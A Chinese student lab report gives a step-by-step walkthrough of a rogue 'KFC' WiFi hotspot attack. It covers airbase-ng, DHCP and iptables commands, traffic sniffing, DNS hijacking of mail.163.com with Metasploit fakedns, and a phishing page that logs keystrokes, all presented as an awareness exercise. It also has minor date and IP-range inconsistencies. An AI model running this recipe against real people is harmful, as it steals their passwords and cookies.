2014年5月

无线热点钓鱼攻击:伪造钓鱼AP+DNS劫持

实验二 无线热点钓鱼攻击

第一章 问题的提出

随着人们的生活越来越离不开网络,也越来越离不开移动手机,一般的公共厂商都已经将WiFi作为基础服务进行提供,譬如在星巴克、麦当劳等公共场所边点杯热饮边“蹭网”,已经是一个基本的习惯了,甚至一些大型的电信提供商已经尝试将WiFi作为一个基础的接入。如今公共的WiFi很多,尤其是免费的,手机上还有帮助寻找免费WiFi的各类APP。很多人为了省流量,看到免费的WiFi,总会去连接一下尝试网上冲浪。不过,在这些免费的WiFi以及大家使用WiFi的习惯,加上手机及app的默认行为,就可以导致一些严重安全问题。

第二章 实验的假设与理论依据

  • 实验假设

通过伪造免费无线AP热点进行钓鱼的实验,分析、重放无线数据包窃取用户隐私,伪造钓鱼网站捕获用户账户密码,模拟黑客钓鱼攻击,评估无线热点安全隐患。

  • 理论依据

手机开启WiFi功能后,会自动扫描附近的无线网络信号,当我们的手机在成功连接了一个WiFi之后,就会将SSID和密码等相关信息保存在本地的一个配置文件里。当发现有无线网络信号存在的时候,手机就会基于这个配置文件尝试去匹配这个广播出来的SSID,一旦发现匹配上了,就会按照配置文件里面的信息去连接这个WiFi,如果连接不成功,发现还有可以匹配的SSID,手机就会尝试去连接下一个。无论是安卓还是iOS上的这个设计,虽然显的非常的人性化,但是它真的很不安全。

手机里的一些APP在网络连通了之后,会主动向服务端发出一些请求,而在这些请求里很有可能就包含有攻击者感兴趣的敏感信息。这些敏感信息一般包括,用户名,密码,cookie,身份标识等等,而APP在一个不安全的网络环境里发出请求,这些敏感信息就有可能暴露在攻击者的面前。

第三章 实验目标

伪造免费AP热点,分析、重放无线数据包窃取用户隐私,伪造钓鱼网站捕获用户账户密码。增强无线网络安全意识,加强防范措施,削减安全隐患。

第四章 实验时间、地点、设备、方法与手段

  • 实验时间

2014/06/25   星期日  天气晴朗

  • 实验地点

xxxxx

  • 实验设备

硬件:笔记本电脑一台(Kali Linux系统)、USB无线网卡两个、路由器一个

软件:VMware Workstation 11.0、Windows 7 虚拟机、airbase-ng(Kali Linux主机)、isc-dhcpd(Kali Linux主机)、iptables(Kali Linux主机)、metasploit(bt5虚拟机)

  • 实验方法

首先将USB无线网卡接入Kali Linux系统,启动airmon-ng将网卡调整到监听模式,接着启动airbase-ng配置相关参数生成AP信号,然后配置DHCP服务的IP地址段及DNS解析服务器并启动isc-dhcpd软件,随后设置iptables进行数据转发,接着切换到bt5虚拟机,启动metasploit劫持域名解析,最后启动apache使钓鱼页面上线。

  • 实验手段

启动URLsnarf对接口网卡at0进行嗅探,保存并输出用户所有HTTP访问记录;启动wireshark对接口网卡at0进行抓包,查找HTTP协议中包含cookie、login等敏感信息的数据包,并利用firefox浏览器的“Advanced Cookie Manager”插件进行cookie重放攻击。

第五章 实验内容

模拟餐厅、机场等公共场所中的免费WiFi,将所学的airbase-ng的原理运用到实际,生成伪造AP热点,进行无线热点钓鱼实验。通过亲身实践寻找防范方法,提高安全防范意识。

第六章 实验过程

  • 测试阶段

5月26日 9:00—9:30

  1. 连接并配置路由器,在Kali Linux主机中打开浏览器访问www.baidu.com、www.163.com测试是否可以访问互联网;
  2. 将USB无线网卡1接入Kali Linux主机,使用iwconfig命令查看是否成功识别;
  3. 打开win 7虚拟机、bt5虚拟机,测试虚拟机系统能否正常运行,并将USB无线网卡2接入win 7虚拟机;
  • 实验阶段

5月26日 9:30—12:30

  1. 打开终端,输入airmon-ng命令查看无线网卡情况,找到接入的USB无线网卡名称,输入airmon-ng start wlan2命令使USB无线网卡工作在监听模式;
  2. 接着在终端中输入airbase-ng –e “KFC” –c 11 mon0命令并回车,这样就生成了一个工作在11频道、SSID名称为“KFC”的热点;
  3. 进入win 7虚拟机,点击右下角网络图标,查看是否搜索到刚才生成的“KFC”热点信号,确认搜索到AP信号后返回Kali Linux主机;
  4. 打开新的终端,输入ifconfig –a命令,查看接口网卡at0是否存在,确认存在后,输入ifconfig at0 up命令启动接口网卡at0;
  5. 接下来配置DHCP服务的各项参数,回到刚才的终端,输入vi /etc/dhcp/dhcpd.conf命令并回车,开始编辑isc-dhcpd软件的配置文件,其中:
  6.    ddns-update-style none表示不自动更新DNS与DHCP服务器的动态信息
       subnet 192.168.100.0 netmask 255.255.255.0表示IP地址段为192.168.100.0/24,子网掩码为255.255.255.0
       range 192.168.100.50 192.168.100.100表示用于分配的IP地址为.50-.200
       option subnet-mask 设置子网掩码,option broadcast-address设置广播地址
       option routers 192.168.100.1表示设置网关为192.168.100.1
       option domain-name-servers 10.0.1.106表示设置DNS解析服务器为10.0.1.106
    编辑好后,按“Esc”键,敲入“:wq”保存退出。以下为配置好的截图: dhcpd
  7. 在终端中输入ifconfig at0 192.168.100.1 netmask 255.255.255.0命令并回车,设置接口网卡at0的ip地址和子网掩码;
  8. 继续在终端中输入route add –net 192.168.100.0 netmask 255.255.255.0 gw 192.168.100.1命令并回车,表示增加一条路由记录,使192.168.100.1网关生效;
  9. 继续在终端中输入dhcpd –d –f –cf /etc/dhcp/dhcpd.conf at0命令并回车,启动DHCP服务;
  10. 打开新的终端,输入echo 1 > /proc/sys/net/ipv4/ip_forward命令并回车,开启系统数据转发功能;
  11. 继续在终端中输入iptables –t nat –A POSTROUTING --out-interface eth0 –j MASQUERADE命令并回车,设置iptables转发,将所有数据转发到eth0网卡;
  12. 接着输入urlsnarf –i at0启动urlsnarf软件,嗅探输出at0网卡上所有HTTP访问记录;
  13. 开始进入bt5虚拟机,打开终端,输入msfconsole并回车启动metasploit,然后输入use /auxiliary/server/fakedns并回车,接着输入show options查看有哪些设置项目,然后开始设置:set TARGETACTION FAKE(设置模式为FAKE模式)、set TARGETDOMAIN mail.163.com(设置劫持目标域名)、set TARGETHOST 10.0.1.106(把域名劫持到的IP地址),最后输入run回车执行模块,开始域名劫持攻击;
  14. 打开新的终端,输入 /etc/init.d/apache2 start回车,启动apache服务,默认站点为我们的163邮箱钓鱼页面,我们已事先在页面中添加恶意javascript代码,用于记录用户在登录表单上的键盘敲击记录;
  15. 接下来就等待用户连接上我们伪造的AP热点,访问163邮箱截获用户名密码。为了演示效果,我们其中一位组员模拟被攻击者进行操作;
  • 模拟被攻击者操作
  1. 打开网络连接,选择无线网络中名称为“KFC”的无线网络进行连接;
  2. 打开浏览器访问百度,在百度中输入关键字“163邮箱”,点击“百度一下”。
  3. 点击第一个搜索结果,然后跳转到mail.163.com,然后输入用户名,按一下Tab键,输入密码,回车登录;

第七章 实验结果与分析

  • 实验结果

1、URLsnarf嗅探结果:

URLsnarf

2、钓鱼页面捕获到的帐号密码:

pass

  • 实验分析

1.伪造的无线AP有较高的仿真度和迷惑性,稍微不注意就会以为是真的“KFC”WiFi信号;

2.DNS劫持具有很强地针对性,可以在不影响其他站点访问的前提下劫持目标域名至钓鱼服务器;

3.钓鱼页面有很高的相似度和隐藏性,利用javascript代码记录键盘敲击记录具有很强的隐蔽性,效果很好。

第八章 实验心得体会

① 在实验过程中,我们在多个环节遇到问题,通过小组成员的多次讨论及谷歌搜索查找资料,才得以解决。通过这次实验,我们小组成员真正感受到团队协作精神的重要性。合作交流才是快速、高效解决问题的黄金法宝;

② 在进行DNS劫持部分实验的过程中,我们并不是第一次就使用的metasploit里的fakeDNS模块,而是利用bind9软件自行搭建的DNS服务器,但是这样存在一个问题:劫持域名时必须要把顶级域名的所有二级域名都配置好ip地址,否则无法正确解析。在163邮箱页面中使用了很多个顶级域名和二级域名,我们需要全部配置无误,这样不紧工作量大而且错误率很高,因为还有很多请求是通过js文件进行的,这些是动态变换的。发现这些问题后我们进行了小组讨论,决定分头去寻找替代方案,通过不懈努力和不断尝试,我们最终确定使用metasploit这款工具中的fakeDNS模块。

 

参考文献:

[1] 杨哲. 无线网络安全攻防实战  [M]. 北京:电子工业出版社,  2008.  282-338

[2]  《通过伪AP进行DHCP+DNS劫持的钓鱼攻击》http://www.cnblogs.com/LittleHann/p/3704517.html

[3] 《公共无线安全——FakeAP之WiFi钓鱼》 http://drops.wooyun.org/tips/112

[4] 《A day with Tape: Fake AP using airbase-ng》http://adaywithtape.blogspot.com/2009/10/fake-ap-using-airbase-ng.html